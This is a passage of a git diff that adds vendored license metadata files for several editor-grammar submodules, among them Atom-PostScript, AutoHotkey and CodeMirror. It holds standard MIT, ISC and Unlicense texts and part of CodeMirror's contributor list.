+    IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+    FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+    AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+    LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+    OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+    SOFTWARE.
+notices: []
diff --git a/vendor/licenses/git_submodule/Atom-PostScript.dep.yml b/vendor/licenses/git_submodule/Atom-PostScript.dep.yml
new file mode 100644
index 0000000000..a535165b0b
--- /dev/null
+++ b/vendor/licenses/git_submodule/Atom-PostScript.dep.yml
@@ -0,0 +1,23 @@
+---
+name: Atom-PostScript
+version: 3a3d50683c198a7af5543be1d47ba33d21bb373f
+type: git_submodule
+homepage: https://github.com/Alhadis/Atom-PostScript
+license: isc
+licenses:
+- sources: LICENSE.md
+  text: |
+    Copyright (c) 2019-2023, John Gardner
+
+    Permission to use, copy, modify, and/or distribute this software for any
+    purpose with or without fee is hereby granted, provided that the above
+    copyright notice and this permission notice appear in all copies.
+
+    THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES
+    WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
+    MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR
+    ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
+    WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN
+    ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF
+    OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
+notices: []
diff --git a/vendor/licenses/git_submodule/AtomLanguageVelocity.dep.yml b/vendor/licenses/git_submodule/AtomLanguageVelocity.dep.yml
new file mode 100644
index 0000000000..1682be80d0
--- /dev/null
+++ b/vendor/licenses/git_submodule/AtomLanguageVelocity.dep.yml
@@ -0,0 +1,31 @@
+---
+name: AtomLanguageVelocity
+version: 6eb92de5a24991192192d768241be12337015884
+type: git_submodule
+homepage: https://github.com/animecyc/AtomLanguageVelocity
+license: mit
+licenses:
+- sources: LICENSE
+  text: |
+    The MIT License (MIT)
+
+    Copyright (c) 2015 Seth Benjamin
+
+    Permission is hereby granted, free of charge, to any person obtaining a copy
+    of this software and associated documentation files (the "Software"), to deal
+    in the Software without restriction, including without limitation the rights
+    to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+    copies of the Software, and to permit persons to whom the Software is
+    furnished to do so, subject to the following conditions:
+
+    The above copyright notice and this permission notice shall be included in
+    all copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+    IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+    FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+    AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+    LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+    OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
+    THE SOFTWARE.
+notices: []
diff --git a/vendor/licenses/git_submodule/AutoHotkey.dep.yml b/vendor/licenses/git_submodule/AutoHotkey.dep.yml
new file mode 100644
index 0000000000..ae5e87e039
--- /dev/null
+++ b/vendor/licenses/git_submodule/AutoHotkey.dep.yml
@@ -0,0 +1,34 @@
+---
+name: AutoHotkey
+version: 279f16cef09be8d47dc33dc763f4a58079b4a81d
+type: git_submodule
+homepage: https://github.com/ahkscript/SublimeAutoHotkey
+license: unlicense
+licenses:
+- sources: UNLICENSE.txt
+  text: |
+    This is free and unencumbered software released into the public domain.
+
+    Anyone is free to copy, modify, publish, use, compile, sell, or
+    distribute this software, either in source code form or as a compiled
+    binary, for any purpose, commercial or non-commercial, and by any
+    means.
+
+    In jurisdictions that recognize copyright laws, the author or authors
+    of this software dedicate any and all copyright interest in the
+    software to the public domain. We make this dedication for the benefit
+    of the public at large and to the detriment of our heirs and
+    successors. We intend this dedication to be an overt act of
+    relinquishment in perpetuity of all present and future rights to this
+    software under copyright law.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+    EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+    MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
+    IN NO EVENT SHALL THE AUTHORS BE LIABLE FOR ANY CLAIM, DAMAGES OR
+    OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE,
+    ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR
+    OTHER DEALINGS IN THE SOFTWARE.
+
+    For more information, please refer to <http://unlicense.org/>
+notices: []
diff --git a/vendor/licenses/git_submodule/CUE-Sheet_sublime.dep.yml b/vendor/licenses/git_submodule/CUE-Sheet_sublime.dep.yml
new file mode 100644
index 0000000000..793050d57b
--- /dev/null
+++ b/vendor/licenses/git_submodule/CUE-Sheet_sublime.dep.yml
@@ -0,0 +1,27 @@
+---
+name: CUE-Sheet_sublime
+version: 7f099baf680744f62336edc8d7c3009187f5e572
+type: git_submodule
+homepage: https://github.com/relikd/CUE-Sheet_sublime
+license: mit
+licenses:
+- text: |-
+    Copyright (c) 2012 Oleg Geier
+
+    Permission is hereby granted, free of charge, to any person obtaining a copy of
+    this software and associated documentation files (the "Software"), to deal in
+    the Software without restriction, including without limitation the rights to
+    use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies
+    of the Software, and to permit persons to whom the Software is furnished to do
+    so, subject to the following conditions:
+    The above copyright notice and this permission notice shall be included in all
+    copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+    IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+    FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+    AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+    LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+    OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+    SOFTWARE.
+notices: []
diff --git a/vendor/licenses/git_submodule/CoDT7-Sublime.dep.yml b/vendor/licenses/git_submodule/CoDT7-Sublime.dep.yml
new file mode 100644
index 0000000000..ceba956b5d
--- /dev/null
+++ b/vendor/licenses/git_submodule/CoDT7-Sublime.dep.yml
@@ -0,0 +1,34 @@
+---
+name: CoDT7-Sublime
+version: cbb269812475da316261cfa5322f2e46623385b1
+type: git_submodule
+homepage: https://github.com/Jake-NotTheMuss/CoDT7-Sublime.git
+license: unlicense
+licenses:
+- sources: LICENSE
+  text: |
+    This is free and unencumbered software released into the public domain.
+
+    Anyone is free to copy, modify, publish, use, compile, sell, or
+    distribute this software, either in source code form or as a compiled
+    binary, for any purpose, commercial or non-commercial, and by any
+    means.
+
+    In jurisdictions that recognize copyright laws, the author or authors
+    of this software dedicate any and all copyright interest in the
+    software to the public domain. We make this dedication for the benefit
+    of the public at large and to the detriment of our heirs and
+    successors. We intend this dedication to be an overt act of
+    relinquishment in perpetuity of all present and future rights to this
+    software under copyright law.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+    EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+    MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
+    IN NO EVENT SHALL THE AUTHORS BE LIABLE FOR ANY CLAIM, DAMAGES OR
+    OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE,
+    ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR
+    OTHER DEALINGS IN THE SOFTWARE.
+
+    For more information, please refer to <https://unlicense.org>
+notices: []
diff --git a/vendor/licenses/git_submodule/CodeMirror.dep.yml b/vendor/licenses/git_submodule/CodeMirror.dep.yml
new file mode 100644
index 0000000000..60f0a6fa75
--- /dev/null
+++ b/vendor/licenses/git_submodule/CodeMirror.dep.yml
@@ -0,0 +1,1018 @@
+---
+name: CodeMirror
+version: dd44c943cc25109d73041abb9f859581c4dec07a
+type: git_submodule
+homepage: https://github.com/codemirror/CodeMirror
+license: mit
+licenses:
+- sources: LICENSE
+  text: |
+    MIT License
+
+    Copyright (C) 2017 by Marijn Haverbeke <marijn@haverbeke.berlin> and others
+
+    Permission is hereby granted, free of charge, to any person obtaining a copy
+    of this software and associated documentation files (the "Software"), to deal
+    in the Software without restriction, including without limitation the rights
+    to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+    copies of the Software, and to permit persons to whom the Software is
+    furnished to do so, subject to the following conditions:
+
+    The above copyright notice and this permission notice shall be included in
+    all copies or substantial portions of the Software.
+
+    THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+    IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+    FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+    AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+    LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+    OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
+    THE SOFTWARE.
+notices:
+- sources: AUTHORS
+  text: |-
+    List of CodeMirror contributors. Updated before every release.
+
+    4oo4
+    4r2r
+    Aaron Brooks
+    Abdelouahab
+    Abdussalam Abdurrahman
+    Abe Fettig
+    Abhishek Gahlot
+    Adam Ahmed
+    Adam King
+    Adam Particka
+    Adam Wight
+    adanlobato
+    Adán Lobato
+    Aditya Toshniwal
+    Adrian Aichner
+    Adrian Heine
+    Adrian Kunz
+    Adrien Bertrand
+    aeroson
+    Ahmad Amireh
+    Ahmad M. Zawawi
+    AHOHNMYC
+    ahoward
+    Ajin Abraham
+    Akeksandr Motsjonov
+    Alasdair Smith
+    AlbertHilb
+    Alberto González Palomo
+    Alberto Pose
+    Albert Xing
+    Alexander Marks
+    Alexander Pavlov
+    Alexander Schepanovski
+    Alexander Shvets
+    Alexander Solovyov
+    Alexandre Bique
+    Alex Churchill
+    alexey-k
+    Alex Piggott
+    Alf Eaton
+    Aliaksei Chapyzhenka
+    Allen Sarkisyan
+    Ami Fischman
+    Amin Shali
+    Amin Ullah Khan
+    amshali@google.com
+    Amsul
+    amuntean
+    Amy
+    Ananya Sen
+    anaran
+    AndersMad
+    Anders Nawroth
+    Anderson Mesquita
+    Anders Wåglund
+    Andrea G
+    Andreas Reischuck
+    Andres Taylor
+    Andre von Houck
+    Andrew Cheng
+    Andrew Dassonville
+    Andrey Fedorov
+    Andrey Klyuchnikov
+    Andrey Lushnikov
+    Andrey Shchekin
+    Andy Joslin
+    Andy Kimball
+    Andy Li
+    Angelo
+    angelozerr
+    angelo.zerr@gmail.com
+    Ankit
+    Ankit Ahuja
+    Ansel Santosa
+    Anthony Dugois
+    anthonygego
+    Anthony Gégo
+    Anthony Grimes
+    Anthony Stewart
+    Anton Kovalyov
+    antosarho
+    aoki ken
+    Apollo Zhu
+    AQNOUCH Mohammed
+    Aram Shatakhtsyan
+    areos
+    Arnab Bose
+    Arnoud Buzing
+    Arsène von Wyss
+    Arthur Müller
+    Arun Narasani
+    as3boyan
+    asolove
+    atelierbram
+    AtomicPages LLC
+    Atul Bhouraskar
+    Aurelian Oancea
+    Axel Lewenhaupt
+    Baptiste Augrain
+    Barret Rennie
+    Bartosz Dziewoński
+    Basarat Ali Syed
+    Bastian Müller
+    belhaj
+    Bem Jones-Bey
+    benbro
+    Benedikt Meurer
+    benhormann
+    Ben Hormann
+    Beni Cherniavsky-Paskin
+    Benjamin DeCoste
+    benjaminr-ps
+    Benjamin Young
+    Ben Keen
+    Ben Miller
+    Ben Mosher
+    Bernhard Sirlinger
+    Bert Chang
+    Bharad
+    BigBlueHat
+    Billiam
+    Billy Moon
+    Bin Ni
+    binny
+    Bjarki Ágúst Guðmundsson
+    Bjorn Hansen
+    B Krishna Chaitanya
+    Blaine G
+    blukat29
+    Bo
+    boomyjee
+    Bo Peng
+    borawjm
+    Boris K
+    Boris Verkhovskiy
+    Brad Metcalf
+    Brandon Frohs
+    Brandon Wamboldt
+    Bret Little
+    Brett Morgan
+    Brett Zamir
+    Brian Grinstead
+    BrianHung
+    Brian Sletten
+    brrd
+    Bruce Mitchener
+    Bruno Logerfo
+    Bryan Gin-ge Chen
+    Bryan Massoth
+    Caitlin Potter
+    Calin Barbat
+    callodacity
+    Camilo Roca
+    Casey Klebba
+    cBiscuit87
+    César González Íñiguez
+    Chad Jolly
+    Chandra Sekhar Pydi
+    Charles Skelton
+    Cheah Chu Yeow
+    Chhekur
+    Chris Colborne
+    Chris Coyier
+    Chris Ford
+    Chris Granger
+    Chris Houseknecht
+    Chris Lohfink
+    Chris Morgan
+    Chris Reeves
+    Chris Smith
+    Christian Gruen
+    Christian Oyarzun
+    Christian Petrov
+    Christian Sonne
+    christopherblaser
+    Christopher Brown
+    Christopher Kramer
+    Christopher Mitchell
+    Christopher Pfohl
+    Christopher Wallis
+    Chunliang Lyu
+    ciaranj
+    clone-it
+    clso
+    CodeAnimal
+    CodeBitt
+    coderaiser
+    Cole R Lawrence
+    ComFreek
+    Cornelius Weig
+    Cristian Prieto
+    Curran Kelleher
+    Curtis Gagliardi
+    d8888
+    dagsta
+    daines
+    Dale Jung
+    Dan Bentley
+    Dan Heberden
+    Daniel, Dao Quang Minh
+    Daniele Di Sarli
+    Daniel Faust
+    Daniel Hanggi
+    Daniel Huigens
+    Daniel Kesler
+    Daniel KJ
+    Daniel Neel
+    Daniel Parnell
+    Daniel Thwaites
+    Danila Malyutin
+    Danny Yoo
+    darealshinji
+    Darius Roberts
+    databricks-david-lewis
+    Dave Brondsema
+    Dave MacLachlan
+    Dave Myers
+    David Barnett
+    David Foster
+    David H. Bronke
+    David Mignot
+    David Pathakjee
+    David R. Myers
+    David Rodrigues
+    David Santana
+    David Vázquez
+    David Whittington
+    deebugger
+    Deep Thought
+    Denis Ovsienko
+    Devin Abbott
+    Devon Carew
+    Dick Choi
+    Diego Fernandez
+    dignifiedquire
+    Dimage Sapelkin
+    Dimitri Mitropoulos
+    Dinindu D. Wanniarachchi
+    dmaclach
+    Dmitry Kiselyov
+    DoctorKrolic
+    domagoj412
+    Dominator008
+    Domizio Demichelis
+    Doug Blank
+    Doug Wikle
+    Drew Bratcher
+    Drew Hintz
+    Drew Khoury
+    Drini Cami
+    Dror BG
+    Duncan Lilley
+    duralog
+    dwelle
+    Ealton
+    eborden
+    edoroshenko
+    edsharp
+    ekhaled
+    Elisée
+    Elmar Peise
+    elpnt
+    Emmanuel Schanzer
+    Enam Mijbah Noor
+    Eric Allam
+    Eric Bogard
+    Erik Demaine
+    Erik Krogh Kristensen
+    Erik Welander
+    erosman
+    eustas
+    Evan Minsk
+    Fabien Dubosson
+    Fabien O'Carroll
+    Fabio Zendhi Nagao
+    Faiza Alsaied
+    Faris Masad
+    Fauntleroy
+    fbuchinger
+    feizhang365
+    Felipe Lalanne
+    Felipe S. S. Schneider
+    Felix Raab
+    ficristo
+    Filip Noetzel
+    Filip Stollár
+    Filype Pereira
+    finalfantasia
+    flack
+    Florian Felten
+    Fons van der Plas
+    Forbes Lindesay
+    ForbesLindesay
+    Ford_Lawnmower
+    Forrest Oliphant
+    Franco Catena
+    Frank Seifferth
+    Frank Wiegand
+    fraxx001
+    Fredrik Borg
+    FUJI Goro (gfx)
+    fzipp
+    Gabriela Gutierrez
+    Gabriel Gheorghian
+    Gabriel Horner
+    Gabriel Nahmias
+    galambalazs
+    Gary Sheng
+    Gautam Mehta
+    Gavin Douglas
+    Geist-zz
+    gekkoe
+    Geordie Hall
+    George Stephanis
+    geowarin
+    Gerard Braad
+    Gergely Hegykozi
+    Germain Chazot
+    Giovanni Calò
+    Glebov Boris
+    Glenn Jorde
+    Glenn Ruehle
+    goldsmcb
+    Golevka
+    Google LLC
+    Gordon Smith
+    Grant Skinner
+    greengiant
+    Gregory Koberger
+    Grzegorz Mazur
+    Guang Li
+    Guan Gui
+    Guillaume Massé
+    Guillaume Massé
+    guraga
+    Gustavo Rodrigues
+    Hakan Tunc
+    Hanno Fellmann
+    Hans Engel
+    Hanzhao Deng
+    Haoran Yu
+    Harald Schilly
+    Hardest
+    Harshvardhan Gupta
+    Harutyun Amirjanyan
+    Hasan Delibaş
+    Hasan Karahan
+    Heanes
+    Hector Oswaldo Caballero
+    Hein Htat
+    Hélio
+    Hendrik Erz
+    Hendrik Wallbaum
+    Henrik Haugbølle
+    Herculano Campos
+    hidaiy
+    Hiroyuki Makino
+    hitsthings
+    Hocdoc
+    Howard
+    Howard Jing
+    Hugues Malphettes
+    Ian Beck
+    Ian Davies
+    Ian Dickinson
+    Ian Henderson
+    ianhi
+    Ian Rose
+    Ian Wehrman
+    Ian Wetherbee
+    Ice White
+    ICHIKAWA, Yuji
+    idleberg
+    Igor Petruk
+    ilvalle
+    Ilya Kharlamov
+    Ilya Zverev
+    Ingo Richter
+    Intervue
+    Irakli Gozalishvili
+    iteriani
+    Ivan Kurnosov
+    Ivoah
+    Jack Douglas
+    Jacob Lee
+    Jaimin
+    Jake Peyser
+    Jake Zimmerman
+    Jakob Kummerow
+    Jakob Miland
+    Jakub Nowak
+    Jakub T. Jankiewicz
+    Jakub Vrana
+    Jakub Vrána
+    James Baicoianu
+    James Campos
+    James Cockshull
+    James Howard
+    James Thorne
+    Jamie Hill
+    Jamie Morris
+    Janice Leung
+    Jan Jongboom
+    jankeromnes
+    Jan Keromnes
+    Jan Odvarko
+    Jan Schär
+    Jan T. Sott
+    Jared Dean
+    Jared Forsyth
+    Jared Jacobs
+    Jason
+    Jason Barnabe
+    Jason Grout
+    Jason Heeris
+    Jason Johnston
+    Jason San Jose
+    Jason Siefken
+    Jayaprabhakar
+    Jay Contonio
+    Jaydeep Solanki
+    Jean Boussier
+    Jeff Blaisdell
+    Jeff Hanke
+    Jeff Jenkins
+    jeffkenton
+    Jeff Pickhardt
+    jem (graphite)
+    Jeremy Parmenter
+    Jim
+    Jim Avery
+    jkaplon
+    JobJob
+    jochenberger
+    Jochen Berger
+    Joel Einbinder
+    joelpinheiro
+    Joe Predham
+    joewalsh
+    Johan Ask
+    Johannes
+    John Chen
+    John Connor
+    John-David Dalton
+    John Engler
+    John Lees-Miller
+    John Ryan
+    John Snelson
+    johnspiegel
+    John Van Der Loo
+    Jon Ander Peñalba
+    Jonas Döbertin
+    Jonas Helfer
+    Jonathan Dierksen
+    Jonathan Hart
+    Jonathan Malmaud
+    Jonathan Rascher
+    Jon Gacnik
+    jongalloway
+    Jon Malmaud
+    Jon Sangster
+    Joo
+    Joost-Wim Boekesteijn
+    José dBruxelles
+    Joseph D. Purcell
+    Joseph Pecoraro
+    Josh Barnes
+    Josh Cohen
+    Josh Soref
+    Joshua Newman
+    Josh Watzman
+    jots
+    Joy Zhong
+    jsoojeon
+    ju1ius
+    Juan Benavides Romero
+    Jucovschi Constantin
+    Juho Vuori
+    Julien CROUZET
+    Julien Rebetez
+    Justin Andresen
+    Justin Hileman
+    jwallers@gmail.com
+    kaniga
+    karevn
+    Karol
+    Kaushik Kulkarni
+    Kayur Patel
+    kazk
+    Kazuhisa Ishizaka
+    Kazuhito Hokamura
+    kcwiakala
+    Kees de Kooter
+    Keldan Chapman
+    Kenan Christian Dimas
+    Ken Newman
+    ken restivo
+    Ken Rockot
+    Kevin Earls
+    Kevin Kwok
+    Kevin Muret
+    Kevin Sawicki
+    Kevin Ushey
+    Kier Darby
+    Kim-Anh Tran
+    Klaus Silveira
+    Koh Zi Han, Cliff
+    komakino
+    kometenstaub
+    Konrad Zapotoczny
+    Konstantin Chernenko
+    Konstantin Lopuhin
+    koops
+    Kris Ciccarello
+    ks-ifware
+    kubelsmieci
+    kvncp
+    KwanEsq
+    Kyle Kelley
+    KyleMcNutt
+    LaKing
+    Lanfei
+    Lanny
+    laobubu
+    Laszlo Vidacs
+    leaf
+    leaf corcoran
+    Lemmon
+    Leo Baschy
+    Leonid Khachaturov
+    Leon Sorokin
+    Leonya Khachaturov
+    lexer2086
+    Liam Newman
+    Libo Cannici
+    Lior Goldberg
+    Lior Shub
+    lishid
+    LloydMilligan
+    LM
+    lochel
+    Lonnie Abelbeck
+    Lorenzo Simionato
+    Lorenzo Stoakes
+    Louis Mauchet
+    Luca Fabbri
+    Lucas Buchala
+    Luciano Longo
+    Luciano Santana
+    Lu Fangjian
+    Łukasz Wielgus
+    Luke Browning
+    Luke Granger-Brown
+    Luke Haas
+    Luke Stagner
+    lynschinzer
+    M1cha
+    Madhura Jayaratne
+    Maksim Lin
+    Maksym Taran
+    Malay Majithia
+    Manideep
+    Manuel Rego Casasnovas
+    Marat Dreizin
+    Marcel Gerber
+    Marcelo Camargo
+    Marc Espín
+    Marco Aurélio
+    Marco Munizaga
+    Marcus Bointon
+    Marek Rudnicki
+    Marijn Haverbeke
+    Mário Gonçalves
+    Mario Pietsch
+    Mark Anderson
+    Mark Boyes
+    Mark Dalgleish
+    Mark Hamstra
+    Mark Lentczner
+    Marko Bonaci
+    Mark Peace
+    Markus Bordihn
+    Markus Olsson
+    Martin Balek
+    Martín Gaitán
+    Martin Hasoň
+    Martin Hunt
+    Martin Laine
+    Martin Zagora
+    Masahiro MATAYOSHI
+    Mason Malone
+    Mateusz Paprocki
+    Mathias Bynens
+    mats cronqvist
+    Matt Diehl
+    Matt Gaide
+    Matthew Bauer
+    Matthew Beale
+    Matthew Casperson
+    matthewhayes
+    Matthew Rathbone
+    Matthew Suozzo
+    Matthias Bussonnier
+    Matthias BUSSONNIER
+    Mattia Astorino
+    Matt MacPherson
+    Matt McDonald
+    Matt Pass
+    Matt Sacks
+    mauricio
+    Maximilian Hils
+    Maxim Kraev
+    Max Kirsch
+    Max Schaefer
+    Max Wu
+    Max Xiantu
+    mbarkhau
+    McBrainy
+    mce2
+    Mélanie Chauvel
+    melpon
+    meshuamam
+    Metatheos
+    Micah Dubinko
+    Michael
+    Michael Chirico
+    Michael Goderbauer
+    Michael Grey
+    Michael Kaminsky
+    Michael Lehenbauer
+    Michael Wadman
+    Michael Walker
+    Michael Zhou
+    Michal Čihař
+    Michal Dorner
+    Michal Kapiczynski
+    Mighty Guava
+    Miguel Castillo
+    mihailik
+    Mika Andrianarijaona
+    Mike
+    Mike Bostock
+    Mike Brevoort
+    Mike Diaz
+    Mike Ivanov
+    Mike Kadin
+    Mike Kobit
+    Milan Szekely
+    MinJune Kim
+    MinRK
+    Miraculix87
+    misfo
+    mkaminsky11
+    mloginov
+    mlsad3
+    Moritz Schubotz (physikerwelt)
+    Moritz Schwörer
+    Moshe Wajnberg
+    mps
+    ms
+    mtaran-google
+    Mu-An ✌️ Chiou
+    Mu-An Chiou
+    Mykola Martynovets
+    mzabuawala
+    Narciso Jaramillo
+    nathanlesage
+    Nathan Williams
+    ndr
+    Neil Anderson
+    neon-dev
+    nerbert
+    NetworkNode
+    nextrevision
+    ngn
+    nguillaumin
+    Ng Zhi An
+    Nicholas Bollweg
+    Nicholas Bollweg (Nick)
+    NickKolok
+    Nick Kreeger
+    Nick Small
+    Nicolas Chevobbe
+    Nicolas Kick
+    Nicolò Ribaudo
+    Niels van Groningen
+    nightwing
+    Nikita Beloglazov
+    Nikita Vasilyev
+    Nikolaj Kappler
+    Nikolay Kostov
+    nilp0inter
+    Nils Knappmeier
+    Nina Pypchenko
+    Nisarg Jhaveri
+    nlwillia
+    noragrossman
+    Norman Rzepka
+    Nouzbe
+    Oleksandr Yakovenko
+    Olivia Ytterbrink
+    Ondřej Mirtes
+    Opender Singh
+    opl-
+    Oreoluwa Onatemowo
+    orionlee
+    oscar.lofwenhamn
+    Oskar Segersvärd
+    ossdev
+    overdodactyl
+    pablo
+    pabloferz
+    Pablo Zubieta
+    paddya
+    Page
+    paladox
+    Panupong Pasupat
+    paris
+    Paris
+    Paris Kasidiaris
+    Parker Lougheed
+    Patil Arpith
+    Patrick Kettner
+    Patrick Stoica
+    Patrick Strawderman
+    Paul Garvin
+    Paul Ivanov
+    Paul Masson
+    Paul Schmidt
+    Pavel
+    Pavel Feldman
+    Pavel Petržela
+    Pavel Strashkin
+    Paweł Bartkiewicz
+    peteguhl
+    peter
+    Peter Flynn
+    peterkroon
+    Peter Kroon
+    Peter László
+    Phil DeJarnett
+    Philipp A
+    Philipp Markovics
+    Philip Stadermann
+    Pi Delport
+    Pierre Gerold
+    Pieter Ouwerkerk
+    Piyush
+    Pontus Granström
+    Pontus Melke
+    prasanthj
+    Prasanth J
+    Prayag Verma
+    prendota
+    Prendota
+    ps173
+    Qiang Li
+    quiddity-wp
+    Radek Piórkowski
+    Rahul
+    Rahul Anand
+    ramwin1
+    Randall Mason
+    Randy Burden
+    Randy Edmunds
+    Randy Luecke
+    Raphael Amorim
+    Rasmus Erik Voel Jensen
+    Rasmus Schultz
+    raymondf
+    Raymond Hill
+    ray ratchup
+    Ray Ratchup
+    Remi Nyborg
+    Renaud Durlin
+    Reynold Xin
+    Richard Denton
+    Richard Fung
+    Richard van der Meer
+    Richard Z.H. Wang
+    Rishi Goomar
+    Robert Brignull
+    Robert Crossfield
+    Robert Martin
+    Roberto Abdelkader Martínez Pérez
+    robertop23
+    Roberto Vidal
+    Robert Plummer
+    Roman Frolov
+    Roman Janusz
+    Rongjian Zhang
+    Rrandom
+    Rrrandom
+    Ruslan Bekenev
+    Ruslan Osmanov
+    rvalavicius
+    Ryan Pangrle
+    Ryan Petrello
+    Ryan Prior
+    ryu-sato
+    sabaca
+    sach.gupta
+    Sachin Gupta
+    sahil.mahna
+    Sam Lee
+    Sam Rawlins
+    Samuel Ainsworth
+    Sam Wilson
+    sandeepshetty
+    Sander AKA Redsandro
+    Sander Verweij
+    santec
+    Sarah McAlear and Wenlin Zhang
+    Sascha Peilicke
+    Sasha Varlamov
+    satamas
+    satchmorun
+    sathyamoorthi
+    Saul Costa
+    S. Chris Colbert
+    SCLINIC\jdecker
+    Scott Aikin
+    Scott Feeney
+    Scott Goodhew
+    Seb35
+    Sebastian Ślepowroński
+    Sebastian Wilzbach
+    Sebastian Zaha
+    Seren D
+    Sergey Goder
+    Sergey Tselovalnikov
+    Se-Won Kim
+    Shane Liesegang
+    shaund
+    shaun gilchrist
+    Shawn A
+    Shea Bunge
+    sheopory
+    Shil S
+    Shiv Deepak
+    Shmuel Englard
+    Shubham Jain
+    Siamak Mokhtari
+    Siddhartha Gunti
+    silverwind
+    Simone Di Nuovo
+    Simon Edwards
+    Simon Huber
+    sinkuu
+    Slava Rozhnev
+    snasa
+    soliton4
+    sonson
+    Sorab Bisht
+    spastorelli
+    srajanpaliwal
+    Stanislav Oaserele
+    stan-z
+    Stas Kobzar
+    stasoid
+    Stefan Borsje
+    Steffen Beyer
+    Steffen Bruchmann
+    Steffen Kowalski
+    Stephane Moore
+    Stephen Lavelle
+    Steve Champagne
+    Steve Hoover
+    Steven Yung
+    Steve O'Hara
+    stockiNail
+    stoskov
+    Stryder Crown
+    Stu Kennedy
+    Sungho Kim
+    sverweij
+    Taha Jahangir
+    takamori
+    Tako Schotanus
+    Takuji Shimokawa
+    Takuya Matsuyama
+    Tarmil
+    T. Brandon Ashley
+    TDaglis
+    Teja
+    tel
+    Tentone
+    tfjgeorge
+    Thaddee Tyl
+    thanasis
+    TheHowl
+    themrmax
+    Thiemo Kreuz
+    think
+    Thomas Brouard
+    Thomas Dvornik
+    Thomas Kluyver
+    thomasmaclean
+    Thomas Schmid
+    Tim Alby
+    Tim Baumann
+    Tim Down
+    Tim Gates
+    Tim Nguyen
+    Timothy Farrell
+    Timothy Gu
+    Timothy Hatcher
+    Tim van der Lippe
+    Tobias Bertelsen
+    TobiasBg
+    Todd Berman
+    Todd Kennedy
+    tokafew420
+    Tomas-A
+    Tomas Varaneckas
+    Tom Erik Støwer
+    Tom Klancer
+    Tom MacWright
+    Tom McLaughlin
+    Tony Jian
+    tophf
+    Torben Bundt
+    Torgeir Thoresen
+    totalamd
+    Travis Heppe
+    Triangle717
+    Tristan Tarrant
+    TSUYUSATO Kitsune
+    Tugrul Elmas
+    twifkak
+    Tyler Long
+    Tyler Makaro
+    Vadim Dyachenko
+    Vadzim Ramanenka
+    Vaibhav Sagar
+    vamshi.revu
+    VapidWorx
+    Vestimir Markov
+    vf
+    Victor Bocharsky
+    Vincent Woo
+    Vladislav Voitenok
+    Volker Mische
+    vtripolitakis
+    wdouglashall
+    Weiyan Shao
+    wenli
+    Wes Cossick
+    Wesley Wiser
+    Weston Ruter
+    Will Binns-Smith
+    Will Cassella
+    Will Dean
+    Will Hernandez
+    William Desportes
+    William Jamieson
+    William Stein
+    Willy
+    Wojtek Ptak
+    wonderboyjon
+    Wu Cheng-Han
+    Xavier Mendez
